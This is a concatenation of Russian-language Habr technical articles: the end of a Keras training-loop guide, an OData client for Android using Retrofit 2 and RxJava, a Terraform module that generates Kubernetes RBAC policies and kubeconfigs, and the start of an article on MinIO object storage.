callbacks = [
keras.callbacks.EarlyStopping(
# Прекратить обучение если `val_loss` больше не улучшается
monitor='val_loss',
# "больше не улучшается" определим как "не лучше чем 1e-2 и меньше"
min_delta=1e-2,
# "больше не улучшается" далее определим как "как минимум в течение 2 эпох"
patience=2,
verbose=1)
]
model.fit(x_train, y_train,
epochs=20,
batch_size=64,
callbacks=callbacks,
validation_split=0.2)
```
#### Пользователям доступно большое количество встроенных колбеков
* `ModelCheckpoint`: Периодических сохраняет модель.
* `EarlyStopping`: Останавливает обучение, в том случае когда валидационная метрика прекращает улучшаться.
* `TensorBoard`: периодически пишет логи модели которые могут быть визуализированы в TensorBoard (больше деталей в разделе \«Визуализация\»).
* `CSVLogger`: стримит значения потерь и метрик в файл CSV.
* и т.д.
#### Написание собственного колбека
Вы можете создать собственный колбек расширив базовый класс keras.callbacks.Callback. Колбек имеет доступ к ассоциированной модели посредством свойства класса `self.model`.
Вот простой пример сохранения списка значений попакетных потерь во время обучения:
```
class LossHistory(keras.callbacks.Callback):
def on_train_begin(self, logs):
self.losses = []
def on_batch_end(self, batch, logs):
self.losses.append(logs.get('loss'))
```
### Сохранение контрольных точек моделей
Когда вы обучаете модель на относительно больших датасетах, крайне важно сохранять чекпоинты вашей модели через определенные промежутки времени.
Проще всего сделать это с помощью колбека `ModelCheckpoint`:
```
model = get_compiled_model()
callbacks = [
keras.callbacks.ModelCheckpoint(
filepath='mymodel_{epoch}.h5',
# Путь по которому нужно сохранить модель
# Два параметра ниже значат что мы перезапишем
# текущий чекпоинт в том и только в том случае, когда
# улучится значение `val_loss`.
save_best_only=True,
monitor='val_loss',
verbose=1)
]
model.fit(x_train, y_train,
epochs=3,
batch_size=64,
callbacks=callbacks,
validation_split=0.2)
```
Вы также можете написать собственный колбек для сохранения и восстановления моделей.
### Использование графиков скорости обучения
Обычным паттерном при тренировке моделей глубокого обучения является постепенное сокращение скорости обучения по мере тренировки модели. Это общеизвестно как «снижение скорости обучения».
График снижения скорости может быть как статичным (зафиксированным заранее, как функция от индекса текущей эпохи или текущего пакета) так и динамическим (зависящим от текущего поведения модели в частности от потерь на валидации).
#### Передача расписания оптимизатору
Вы можете легко использовать график статического снижения скорости обучения передав объект расписания в качестве аргумента `learning_rate` вашему оптимизатору:
```
initial_learning_rate = 0.1
lr_schedule = keras.optimizers.schedules.ExponentialDecay(
initial_learning_rate,
decay_steps=100000,
decay_rate=0.96,
staircase=True)
optimizer = keras.optimizers.RMSprop(learning_rate=lr_schedule)
```
Доступно несколько встроенных схем снижения скорости обучения: `ExponentialDecay`, `PiecewiseConstantDecay`, `PolynomialDecay` и `InverseTimeDecay`.
#### Использование колбеков для реализации графика динамического изменения скорости обучения
Расписание динамического изменения скорости обучения (например, уменьшение скорости обучения, когда потери при валидации более не улучшаются) не может быть достигнуто с этими объектами расписания, поскольку оптимизатор не имеет доступа к показателям валидации.
Однако колбеки имеют доступ ко всем метрикам, включая метрики валидации! Поэтому, вы можете достичь этого паттерна, используя колбек, который изменяет текущую скорость обучения на оптимизаторе. Фактически, есть и встроенный колбек `ReduceLROnPlateau`.
### Визуализация потерь и метрик во время обучения
Лучший способ следить за вашей моделью во время обучения — это использовать TensorBoard — приложение на основе браузера, которое вы можете запустить локально и которое предоставляет вам:
* Живые графики функции потерь и метрик для обучения и оценки
* (опционально) Визуализации гистограмм активаций ваших слоев
* (опционально) 3D-визуализации пространств вложения, изученных вашими `Embedding` слоями
Если вы установили TensorFlow с помощью pip, вы можете запустить TensorBoard из командной строки:
```
tensorboard --logdir=/full_path_to_your_logs
```
#### Использование колбека TensorBoard
Самый легкий способ использовать TensorBoard с моделью Keras и методом `fit` — это колбек `TensorBoard`.
В простейшем случае просто укажите, куда вы хотите, чтобы колбек писал логи, и все готово:
```
tensorboard_cbk = keras.callbacks.TensorBoard(log_dir='/full_path_to_your_logs')
model.fit(dataset, epochs=10, callbacks=[tensorboard_cbk])
```
Колбек `TensorBoard` имеет много полезных опций, в том числе, писать ли лог вложений, гистограмм и как часто писать логи:
```
keras.callbacks.TensorBoard(
log_dir='/full_path_to_your_logs',
histogram_freq=0, # Как часто писать лог визуализаций гистограмм
embeddings_freq=0, # Как часто писать лог визуализаций вложений
update_freq='epoch') # Как часто писать логи (по умолчанию: однажды за эпоху)
```
Часть II: Написание собственных циклов обучения и оценки с нуля
---------------------------------------------------------------
Если вам нужен более низкий уровень для ваших циклов обучения и оценки, чем тот что дают `fit()` и `evaluate()`, вы должны написать свои собственные. Это на самом деле довольно просто! Но вы должны быть готовы к большему количеству отладки.
### Использование GradientTape: первый полный пример
Вызов модели внутри области видимости `GradientTape` позволяет получить градиенты обучаемых весов слоя относительно значения потерь. Используя экземпляр оптимизатора, вы можете использовать эти градиенты для обновления переменных (которые можно получить с помощью `model.trainable_weights`).
Давайте переиспользуем нашу первоначальную модель MNIST из первой части и обучим ее, используя мини-пакетный градиентный спуск с кастомным циклом обучения.
```
# Получим модель.
inputs = keras.Input(shape=(784,), name='digits')
x = layers.Dense(64, activation='relu', name='dense_1')(inputs)
x = layers.Dense(64, activation='relu', name='dense_2')(x)
outputs = layers.Dense(10, name='predictions')(x)
model = keras.Model(inputs=inputs, outputs=outputs)
# Создадим экземпляр оптимизатора.
optimizer = keras.optimizers.SGD(learning_rate=1e-3)
# Instantiate a loss function.
loss_fn = keras.losses.SparseCategoricalCrossentropy(from_logits=True)
# Подготовим тренировочный датасет.
batch_size = 64
train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
train_dataset = train_dataset.shuffle(buffer_size=1024).batch(batch_size)
# Итерируем по эпохам.
epochs = 3
for epoch in range(epochs):
print('Начинаем эпоху %d' % (epoch,))
# Итерируем по пакетам в датасете.
for step, (x_batch_train, y_batch_train) in enumerate(train_dataset):
# Откроем GradientTape чтобы записать операции
# выполняемые во время прямого прохода, включающего автодифференцирование.
with tf.GradientTape() as tape:
# Запустим прямой проход слоя.
# Операции применяемые слоем к своим
# входным данным будут записаны
# на GradientTape.
logits = model(x_batch_train, training=True) # Logits for this minibatch
# Вычислим значение потерь для этого минибатча.
loss_value = loss_fn(y_batch_train, logits)
# Используем gradient tape для автоматического извлечения градиентов
# обучаемых переменных относительно потерь.
grads = tape.gradient(loss_value, model.trainable_weights)
# Выполним один шаг градиентного спуска обновив
# значение переменных минимизирующих потери.
optimizer.apply_gradients(zip(grads, model.trainable_weights))
# Пишем лог каждые 200 пакетов.
if step % 200 == 0:
print('Потери на обучении (для одного пакета) на шаге %s: %s' % (step, float(loss_value)))
print('Уже увидено: %s примеров' % ((step + 1) * 64))
```
### Низкоуровневая обработка метрик
Давайте рассмотрим метрики. Вы можете легко использовать встроенные метрики (или собственные, которые вы написали) в таких, написанных с нуля, циклах обучения. Вот последовательность действий:
* Создайте экземпляр метрики в начале цикла,
* Вызовите `metric.update_state()` после каждого пакета
* Вызовите `metric.result()` когда вам нужно показать текущее значение метрики
* Вызовите `metric.reset_states()` когда вам нужно очистить состояние метрики (обычно в конце каждой эпохи)
Давайте используем это знание, чтобы посчитать `SparseCategoricalAccuracy` на валидационных данных в конце каждой эпохи:
```
# Получим модель
inputs = keras.Input(shape=(784,), name='digits')
x = layers.Dense(64, activation='relu', name='dense_1')(inputs)
x = layers.Dense(64, activation='relu', name='dense_2')(x)
outputs = layers.Dense(10, activation='softmax', name='predictions')(x)
model = keras.Model(inputs=inputs, outputs=outputs)
# Создадим экземпляр оптимизатора для обучения модели.
optimizer = keras.optimizers.SGD(learning_rate=1e-3)
# Создадим экземпляр функции потерь.
loss_fn = keras.losses.SparseCategoricalCrossentropy()
# Подготовим метрику.
train_acc_metric = keras.metrics.SparseCategoricalAccuracy()
val_acc_metric = keras.metrics.SparseCategoricalAccuracy()
# Подготовим тренировочный датасет.
batch_size = 64
train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
train_dataset = train_dataset.shuffle(buffer_size=1024).batch(batch_size)
# Подготовим валидационный датасет.
val_dataset = tf.data.Dataset.from_tensor_slices((x_val, y_val))
val_dataset = val_dataset.batch(64)
# Итерируем по эпохам.
epochs = 3
for epoch in range(epochs):
print('Начало эпохи %d' % (epoch,))
# Итерируем по пакетам в датасете.
for step, (x_batch_train, y_batch_train) in enumerate(train_dataset):
with tf.GradientTape() as tape:
logits = model(x_batch_train)
loss_value = loss_fn(y_batch_train, logits)
grads = tape.gradient(loss_value, model.trainable_weights)
optimizer.apply_gradients(zip(grads, model.trainable_weights))
# Обновляем метрику на обучении.
train_acc_metric(y_batch_train, logits)
# Пишем лог каждые 200 пакетов.
if step % 200 == 0:
print('Потери на обучении (за один пакет) на шаге %s: %s' % (step, float(loss_value)))
print('Уже просмотрено: %s примеров' % ((step + 1) * 64))
# Покажем метрики в конце каждой эпохи.
train_acc = train_acc_metric.result()
print('Accuracy на обучении за эпоху: %s' % (float(train_acc),))
# Сбросим тренировочные метрики в конце каждой эпохи
train_acc_metric.reset_states()
# Запустим валидационный цикл в конце эпохи.
for x_batch_val, y_batch_val in val_dataset:
val_logits = model(x_batch_val)
# Обновим валидационные метрики
val_acc_metric(y_batch_val, val_logits)
val_acc = val_acc_metric.result()
val_acc_metric.reset_states()
print('Accuracy на валидации: %s' % (float(val_acc),))
```
### Низкоуровневая обработка дополнительных потерь
В предыдущем разделе вы видели, что для слоя можно добавить потери регуляризации, вызвав `self.add_loss(value)` в методе `call`.
В общем вы можете захотеть учесть эти потери в своих пользовательских циклах обучения (если только вы сами не написали модель и уже знаете, что она не создает таких потерь).
Вспомните пример из предыдущего раздела, где есть слой, который создает потери регуляризации:
```
class ActivityRegularizationLayer(layers.Layer):
def call(self, inputs):
self.add_loss(1e-2 * tf.reduce_sum(inputs))
return inputs
inputs = keras.Input(shape=(784,), name='digits')
x = layers.Dense(64, activation='relu', name='dense_1')(inputs)
# Insert activity regularization as a layer
x = ActivityRegularizationLayer()(x)
x = layers.Dense(64, activation='relu', name='dense_2')(x)
outputs = layers.Dense(10, activation='softmax', name='predictions')(x)
model = keras.Model(inputs=inputs, outputs=outputs)
```
Когда вы вызываете модель так:
```
logits = model(x_train)
```
потери которые она создает во время прямого прохода добавляются в атрибут `model.losses`:
```
logits = model(x_train[:64])
print(model.losses)
```
Отслеживаемые потери сначала очищаются в начале модели `__call__`, поэтому вы увидите только потери, созданные во время текущего одного прямого прохода. Например, при повторном вызове модели и последующем запросе к `losses` отображаются только последние потери, создано во время последнего вызова:
```
logits = model(x_train[:64])
logits = model(x_train[64: 128])
logits = model(x_train[128: 192])
print(model.losses)
```
Чтобы учесть эти потери во время обучения, все, что вам нужно сделать, это модифицировать цикл обучения, добавив к полному значению потерь `sum(model.losses)`:
```
optimizer = keras.optimizers.SGD(learning_rate=1e-3)
epochs = 3
for epoch in range(epochs):
print('Начало эпохи %d' % (epoch,))
for step, (x_batch_train, y_batch_train) in enumerate(train_dataset):
with tf.GradientTape() as tape:
logits = model(x_batch_train)
loss_value = loss_fn(y_batch_train, logits)
# Добавляем дополнительные потери, созданные во время прямого прохода:
loss_value += sum(model.losses)
grads = tape.gradient(loss_value, model.trainable_weights)
optimizer.apply_gradients(zip(grads, model.trainable_weights))
# Пишем лог каждые 200 пакетов.
if step % 200 == 0:
print('Ошибка на обучении (за один пакет) на шаге %s: %s' % (step, float(loss_value)))
print('Просмотрено: %s примеров' % ((step + 1) * 64))
```
Это была последняя часть паззла! Вы достигли конца руководства.
Сейчас вы знаете все, что нужно об использовании встроенных циклов обучения и написании своих собственных с нуля. | https://habr.com/ru/post/485890/ | null | ru | null |
# OData + RxJava + Retrofit 2 для android приложения
Столкнулся на проекте с проблемой доселе не виданной. Пришлось покурить документацию и в этой статье я расскажу как с помощью **RxJava** и **Retrofit 2** — можно решить задачу по созданию клиента **Odata** для android приложения.
Спасибо огромное **Jake Wharton** за создание таких комфортных инструментов.
### Добро пожаловать в мир магии
У нас есть приложение, которое по протоколу **Odata** должно выгребать с сервера данные, отображать их в списках, которые должны подгружаться по мере прокрутки и отправлять данные созданные пользователем на сервер. Тривиальная задача, но не тут то было, то что работает без проблемно на Java — не хочет так же работать с android.
А библиотеки и документация на **Odata** только от Apache — Olingo и Microsoft на C#.
В данной статье протокол **Odata** рассматривать я не буду, очень хорошая документация есть у Microsoft и ссылки я оставлю в конце статьи.
Вот вкратце определение с Wiki [Open\_Data\_Protocol](https://ru.wikipedia.org/wiki/Open_Data_Protocol)
**Open Data Protocol (OData)**
> Open Data Protocol (OData) — это открытый веб-протокол для запроса и обновления данных. Протокол позволяет выполнять операции с ресурсами, используя в качестве запросов HTTP-команды, и получать ответы в форматах XML или JSON.
>
>
>
> Начиная с версии 4.0, OData — открытый стандарт, одобренный OASIS.
И вот здесь и начинается самое интересное, **Odata** — это своеобразный SQL в REST API и для динамически создаваемых данных самое то.
Но у нас строго типизированный язык и без знания модели — обработка и хранение данных создают довольно не простую задачу.
Решение которой не может быть типовым и многократно описанным в сети.
Скажу даже больше, кроме этих ссылок на документацию в сети — по теме все плохо.
А теперь займемся магией:
**Создаем службу для работы с сетью**
Будем использовать **Retrofit 2** и сопутствующие продукты компании **Square**
**добавим зависимости в в файл build.gradle**
```
// Network
implementation 'com.squareup.retrofit2:retrofit:2.7.1' // Собственно сам Retrofit 2
implementation 'com.squareup.retrofit2:converter-gson:2.7.1' // Конвертер для работы с JSON
implementation 'com.squareup.okhttp3:logging-interceptor:4.3.1' // Перехватчик запросов
implementation 'com.squareup.retrofit2:adapter-rxjava2:2.7.1' // Адаптер для работы с RxJava
implementation 'com.squareup.okhttp3:okhttp:4.3.1' // OkHttp - это HTTP-клиент
```
**listing 1**
Все эти зависимости и есть мощнейшая библиотека для работы с с сетью в Java.
Описывать работу с **Retrofit 2** не вижу смысла, вот есть хороший мануал: [Используем Retrofit 2 в Android-приложении](https://habr.com/ru/post/429058//).
**Создаем класс NetworkService:**
```
public class NetworkService {
private static final String TAG = "NetworkService";
private static final NetworkService
mInstance = new NetworkService();
private String mToken;
private Retrofit mRetrofit;
public static NetworkService getInstance() {
return mInstance;
}
private NetworkService() {
RxJava2CallAdapterFactory rxAdapter =
RxJava2CallAdapterFactory
.createWithScheduler(Schedulers.io());
HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor();
interceptor.setLevel(HttpLoggingInterceptor.Level.BODY);
OkHttpClient.Builder okHttpClient =
new OkHttpClient.Builder()
.addInterceptor(interceptor)
.addInterceptor(chain -> {
Request newRequest =
chain.request().newBuilder()
.addHeader("Accept",
"application/json,text/plain,*/*")
.addHeader("Content-Type",
"application/json;odata.metadata=minimal")
.addHeader("Authorization", mToken)
.build();
return chain.proceed(newRequest);
});
Gson gson = new GsonBuilder()
.setDateFormat("yyyy-MM-dd'T'HH:mm:ssZ")
.create();
mRetrofit = new Retrofit.Builder()
.baseUrl(Const.BASE_URL)
.addConverterFactory(GsonConverterFactory.create(gson))
.addCallAdapterFactory(rxAdapter)
.client(okHttpClient.build())
.build();
}
public ApiService getNetworkClient(){
return mRetrofit.create(ApiService.class);
}
}
```
**listing 2**
**Создаем интерфейс API:**
```
public interface ApiService {
// Делаем запрос без условий
@GET("odata/product")
Observable> getProducts();
}
```
**listing 3**
**И создаем какой нибудь контроллер что бы дергать запросы:**
```
public class ProductsController {
private ApiService mApiService;
private List listProducts;
private Gson gson;
public ProductsController() {
mApiService = App.getNetworkService().getNetworkClient();
listProducts = new ArrayList<>();
gson = new Gson();
}
public void productsBtnClick() {
mApiService.getProducts()
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new DisposableObserver>() {
@Override
public void onNext(List products) {
listProducts.addAll(listProducts);
}
@Override
public void onError(Throwable e) {
}
@Override
public void onComplete() {
}
});
}
```
**listing 4**
Итак, на сервере храниться модель данных Poduct, которая имеет какие то параметры и атрибуты. Все данные идут в формате JSON и для работы нам необходим POJO класс.
Рекомендую в HttpLoggingInterceptor настроить уровень подробности перехвата — Level.BODY.
Делаем запрос **listing 4**, чтобы максимально вытянуть структуру данных и ответ будет приблизительно в таком формате:
```
// Есть некий список в котором перечислены сущности высшего уровня
// в формате JSON
{
"@odata.context":"https://example.xxx/api/odata/$metadata","value":[
{
"name":"product","kind":"EntitySet","url":"product" // продукт
},{
"name":"blogs","kind":"EntitySet","url":"blogs" // блоги
},{
"name":"posts","kind":"EntitySet","url":"posts" // посты
},{
"name":"comments","kind":"EntitySet","url":"comments" // комментарии
},{
"name":"rates","kind":"EntitySet","url":"rates" // рейтинги
}
]
}
```
**listing 5**
И уже на основании этих данных можно формировать запрос для дальнейших манипуляций с данными.
То есть это полноценный объект с каким то поведением и атрибутами, чтобы получить эту информацию при создании запроса необходимо добавить условия, на основании которых мы и получим наш DataSource не выдумывая новый велосипед и не прикручивая к нему костыли.
Кульминация и щенячий восторг от комфорта инструмента
-----------------------------------------------------
И вот он момент истинны, мощь, сила и простота библиотеки **Retrofit 2**. Теперь можно получить properties используя сервисный документ **Odata**:
```
// Можно получить properties сущности product
@GET("odata/product?$filter=Id eq 111&$expand=dateReading($orderby=Date desc")
Observable> getProducts();
// Или properties сущности blogs
@GET("odata/blogs?$orderby=Date desc")
Observable> getBlogs();
// И запрос уже можно формулировать исходя из потребностей
@GET("odata/product?$filter=((Id eq 19) and (Name eq 'Available')) and ((Status eq 'OPEN') or ((Status eq 'CLOSED') and (Date ge 2020-02-13T06:39:48Z)))&$orderby=Status asc,Date desc&$top=10&$expand=AuthorId,CategoryId($expand=weight)&$count=true")
Observable> getProducts();
// Этот запрос выдаст точную информацию отобранную по условиям,
// но он явно выходит за разумные рамки.
// Исправляем:
@GET
Observable> getProducts(@Url String url);
```
**listing 6**
Вот она силушка богатырская библиотеки **Retrofit 2**. Динамический Url забирает на себя всю эту массу параметров, с которыми можно играться в коде на сколько хватит фантазии.
**Выглядеть это будет как то так:**
```
private void buttonGetProduct() {
// Здесь со строками можно все
String one = "odata/product?$filter=Id eq ";
String id = "777";
String tree = "&$expand=dateReading($orderby=Date desc)";
String url = one + id + tree;
mApiService.getProduct(url)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new DisposableObserver>() {
@Override
public void onNext(List products) {
// А вот здесь мы и получаем искомое, правда данные в формате JSON,
// но есть масса конвертеров и это не проблема
mProductsDto.addAll(countersDtos);
}
@Override
public void onError(Throwable e) {
}
@Override
public void onComplete() {
}
});
}
```
**listing 7**
### Итоги
Это был полезный опыт, которым я и спешу поделится, мне в свое время эта статья реально бы убрала кучу проблем и вопросов.
В статье я не стал углубляться в ненужные подробности по **Retrofit 2** и **OData** и указал ссылки на документацию если возникнет необходимость вникнуть глубже.
Полную версию кода предоставить не могу, за что приношу извинения, продукт коммерческий.
И, как обещал, ссылки:
→ [Документация Microsoft: Open Data Protocol](https://docs.microsoft.com/en-us/odata/)
→ [Documentation OData 4.0 Java Library](https://olingo.apache.org/doc/odata4/index.html)
→ [Создание полнофункциональных интернет-приложений с применением Open Data Protocol](https://docs.microsoft.com/ru-ru/archive/msdn-magazine/2010/june/practical-odata-building-rich-internet-apps-with-the-open-data-protocol) | https://habr.com/ru/post/489688/ | null | ru | null |
# Terraform модуль для создания RBAC-правил
Начиная с Kubernetes 1.6, [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)-политики включены по умолчанию. К тому же использование этих политик помогает безопасно управлять вашим кластером. Раньше нам приходилось вручную создавать подобные политики, сервисные аккаунты и пользователей. Для каждого нового проекта мы проделывали ручные операции, которые отнимали много времени. Особенно создание пользователей, так как требует множества мелких манипуляций. Готового решения, удовлетворяющего нашим требованиям, нам найти не удалось, поэтому мы написали terraform-модуль, который упрощает этот процесс. Данный модуль позволяет создавать сервисные аккаунты и пользователей, а затем генерировать готовые конфигурационные файлы (kubeconfig) для них. Также при помощи данного модуля можно создавать роли, кластерные роли и привязывать их к определенным сервисным аккаунтам, пользователям или группам. Модуль можно найти в нашем GitHub [репозитории](https://github.com/nixys/k8s-rbac-controller). Для использования модуля потребуется terraform >= 1.0.0 и kubeconfig, с административными правами.
### Описание переменных
* **output\_files\_path**: путь до директории где будут сохранены сгенерированные TLS файлы и kubeconfig для пользователей и сервисных аккаунтов. По умолчанию: "./files".
* **k8s\_api\_endpoint**: имя хоста (в URI формате) для Kubernetes API.
* **k8s\_insecure**: следует ли обращаться к серверу без проверки сертификата TLS. По умолчанию: false.
* **k8s\_cluster\_name**: название Kubernetes кластера.
* **k8s\_auth\_cluster\_ca\_certificate**: PEM-кодированный корневой сертификат для TLS аутентификации.
+ **raw**(опционально): сертификат в неизменном виде. Пример: "-----BEGIN CERTIFICATE-----\nMIIELDCCApSgAwIBAgIQcLahmhzRbVMSRZX2cQXtuTANBgkqhkiG9w0BAQsFADAv\n ... \n-----END CERTIFICATE-----\n".
+ **encoded**(опционально): закодированный в base64 сертификат.
> Должно быть задано одно из полей **raw** или **encoded**. Если заданы оба, будет использовано поле **raw**.
> Переменные **k8s\_api\_endpoint**, **k8s\_auth\_cluster\_ca\_certificate** и **k8s\_cluster\_name** необходимы для генерации конфигурационных файлов (kubeconfig).
>
>
* **k8s\_config\_path**: путь до kubeconfig с административными правами.
* **k8s\_config\_context**(опционально): контекст для kubeconfig.
* **roles\_list**: список создаваемых ролей.
+ **name**: название роли.
+ **namespace**: окружение.
+ **rules**: список правил для роли.
- **api\_groups**: список субъектов.
- **resources**: список ресурсов.
- **verbs**: список глаголов (verb).
* **cluster\_roles\_list**: список создаваемых кластерных ролей.
+ **name**: название кластерной роли.
+ **rules**: список правил для роли.
- **api\_groups**: список субъектов.
- **resources**: список ресурсов.
- **verbs**: список глаголов (verb).
* **sa\_list**: список создаваемых сервисных аккаунтов.
+ **name**: имя сервисного аккаунта.
+ **namespace**: окружение.
* **bindings**: список RoleBinding и ClusterRoleBinding.
+ **type**: тип (role\_binding или cluster\_role\_binding).
+ **prefix**: уникальная строка, которая используется для формирования названия RoleBinding и ClusterRoleBinding.
+ **namespaces**(опционально): список окружений, в которых создается RoleBinding. Используется только для RoleBinding.
+ **sa\_list**(опционально): список сервисных аккаунтов.
- **name**: имя сервисного аккаунта.
- **namespace**: окружение.
+ **users**(опционально): список пользователей. Пользователи создаются из данного списка.
- **name**: имя пользователя.
- **group**: группа (организация) пользователя.
+ **groups**(опционально): список групп.
+ **roles**(опционально): список ролей.
+ **cluster\_roles**(опционально): список кластерных ролей.
> Значение для переменной **type** может быть следующим: role\_binding или cluster\_role\_binding.
> Переменная **namespaces** используется только для RoleBinding. Если переменная будет пустая для RoleBinding, деплой не пройдет.
> Одна из переменных **sa\_list**, **users**, **groups** должна быть задана для RoleBinding и ClusterRoleBinding.
> Пользователи создаются и списка **users**.
> Переменные **roles** или **cluster\_roles** должны быть установлены для RoleBinding.
> Переменная **cluster\_roles** должна быть установлена для ClusterRoleBinding.
>
>
### Пример использования модуля
Рассмотрим конкретный пример использования данного модуля:
Код
```
module "k8s-rbac-controller" {
source = "../k8s-rbac-controller"
output_files_path = "./files"
k8s_api_endpoint = "https://172.20.1.2"
k8s_auth_cluster_ca_certificate = {
raw = "-----BEGIN CERTIFICATE-----\nMIIELDCCApSgAwIBAgIQcLahmhzRbVMSRZX2cQXtuTANBgkqhkiG9w0BAQsFADAv\n ... 8hZp/GUpn6jahcXxmuKaAQ==\n-----END CERTIFICATE-----\n"
encoded = "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS..."
}
k8s_cluster_name = "cluster-name"
k8s_config_path = "~/.kube/config"
k8s_config_context = "config-context"
roles_list = [
{
name = "role-1",
namespace = "default",
rules = [
{
api_groups = [""],
resources = ["pods"],
verbs = ["get", "list"],
}
]
}
]
cluster_roles_list = [
{
name = "cluster-role-1",
rules = [
{
api_groups = [""],
resources = ["namespaces"],
verbs = ["get", "list", "watch", "create"],
}
]
},
{
name = "cluster-role-2",
rules = [
{
api_groups = [""],
resources = ["namespaces"],
verbs = ["get"]
},
{
api_groups = [""],
resources = ["namespaces"],
verbs = ["list"]
}
]
}
]
sa_list = [
{
name = "sa-1"
namespace = "kube-system"
},
{
name = "sa-2"
namespace = "default"
},
]
bindings = [
{
type = "role_binding"
prefix = "prefix-1"
namespaces = ["default"]
sa = [
{
name = "sa-1",
namespace = "kube-system",
}
],
users = [
{
name = "user-1",
group = "group-1",
},
{
name = "user-2",
group = "group-2",
}
]
groups = ["group-1"]
roles = ["role-1"]
cluster_roles = ["cluster-role-2"]
},
{
type = "cluster_role_binding"
prefix = "prefix-2"
sa = [
{
name = "sa-2",
namespace = "default",
}
],
users = [
{
name = "user-2",
group = "group-2",
}
],
cluster_roles = ["cluster-role-1"]
},
]
}
```
Данный пример можно найти в GitHub [репозитории](https://github.com/nixys/k8s-rbac-controller/blob/main/example/k8s-rbac-controller.tf). В этом примере создается роль role-1 в default окружении со следующими правами:
```
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: role-1
namespace: default
rules:
- apiGroups:
- ""
resources:
- pods
verbs:
- list
- get
```
Также создается кластерная роль cluster-role-1 со следующими правами:
```
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: cluster-role-1
rules:
- apiGroups:
- ""
resources:
- namespaces
verbs:
- get
- list
- watch
- create
```
и cluster-role-2 со следующими правами:
```
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: cluster-role-2
rules:
- apiGroups:
- ""
resources:
- namespaces
verbs:
- get
- apiGroups:
- ""
resources:
- namespaces
verbs:
- list
```
Дополнительно создаются сервисные аккаунты sa-1 в окружении kube-system и sa-2 в окружении default. Список пользователей для создания берется из поля users в переменной bindings. То есть в данном случае будут созданы 2 пользователя user-1 и user-2 в группах group-1 и group-2 соответственно. Также будут созданы 2 RoleBinding (соответствует количеству элементов в списках roles и cluster\_roles, если type = role\_binding) cluster-role-2-prefix-1-cluster-role:
```
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: cluster-role-2-prefix-1-cluster-role
namespace: default
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: ns-viewer
subjects:
- kind: ServiceAccount
name: sa-1
namespace: kube-system
- apiGroup: rbac.authorization.k8s.io
kind: User
name: user-1
namespace: default
- apiGroup: rbac.authorization.k8s.io
kind: User
name: user-2
namespace: default
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: group-1
namespace: default
```
и role-1-prefix-1-role следующего вида:
```
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: role-1-prefix-1-role
namespace: default
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: role-1
subjects:
- kind: ServiceAccount
name: sa-1
namespace: kube-system
- apiGroup: rbac.authorization.k8s.io
kind: User
name: user-1
namespace: default
- apiGroup: rbac.authorization.k8s.io
kind: User
name: user-2
namespace: default
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: group-1
namespace: default
```
> Обратите внимание, что в RoleBinding можно указывать ClusterRole.
>
>
Также будет создан ClusterRoleBinding (соответствует количеству элементов в списке cluster\_roles, если type = cluster\_role\_binding) cluster-role-1-prefix-2:
```
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: cluster-role-1-prefix-2
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: ns-creator
subjects:
- kind: ServiceAccount
name: sa-2
namespace: default
- apiGroup: rbac.authorization.k8s.io
kind: User
name: user-2
namespace: default
```
Название для RoleBinding формируется по следующему принципу:
`[${Role}|${ClusterRole}]-[${prefix}]-["role"|"cluster-role"]`
> Приписка ["role"|"cluster-role"] нужна, так как в RoleBinding можно использовать Role и ClusterRole, которые могут совпадать по названию.
>
>
Название для ClusterRoleBinding формируется по следующему принципу:
`[${ClusterRole}]-[${prefix}]`
### Что планируется дальше
В будущем планируется добавить следующий функционал:
* Возможность выбирать output для сгенерированных kubeconfig - как минимум добавить vault помимо локальных файлов.
* Возможность задавать для пользователя не одну группу, а передавать список. Для этого необходимо законтребьютить в репозиторий [hashicorp/terraform-provider-tls](https://github.com/hashicorp/terraform-provider-tls), добавив возможность передавать список в поле organization для ресурса tls\_cert\_request.
* Возможность генерировать kubeconfig для существующих сервисных аккаунтов.
* Добавить модуль в [terraform registry](https://registry.terraform.io/), чтобы было удобнее его использовать.
### Выводы
Данный модуль помог повысить нашу эффективность. Раньше мы могли тратить от 20 до 60 минут на создание RBAC политик. Сейчас же на это уходит от 5 до 10 минут. То есть наша эффективность возрасла в ~4~6 раз. Как правило для проектов мы используем одни и те же роли и кластерные роли. Поэтому модуль позволяет унифицировать данный процесс, так как описание RBAC политик осуществляется на стороне кода. То есть можно повторно использовать зараннее созданные файлы с заполненными переменными.
P.S.: На текущий момент данный модуль прошел обкатку на небольшом количестве проектов, поэтому возможно будут обнаруживаться какие-то баги. Если вы заметите какой-то баг, пожалуйста, создайте issue на GitHub, мы будем оперативно обрабатывать их.
Кстати, мы также делимся полезной информацией по теме DevOps и не только в telegram-канале [DevOps FM](https://t.me/devops_fm), присоединяйтесь. | https://habr.com/ru/post/649663/ | null | ru | null |
# Зачем и как хранить объекты на примере MinIO
Наша биг дата проанализировала Telegram-чаты, форумы и разговоры в кулуарах IT-мероприятий и пометила объектные хранилища как инструмент, который ещё не все осмеливаются использовать в своих проектах. Хочу поделиться с вами своим опытом в формате статьи-воркшопа. Если вы пока не знакомы с этой технологией и паттернами её применения, надеюсь, эта статья поможет вам начать использовать её в своих проектах.
Зачем вообще говорить о хранении объектов?
С недавних пор я работаю Golang-разработчиком в Ozon. У нас в компании есть крутая команда админов и релиз-инженеров, которая построила инфраструктуру и CI вокруг неё. Благодаря этому я даже не задумываюсь о том, какие инструменты использовать для хранения файлов и как это всё поддерживать.
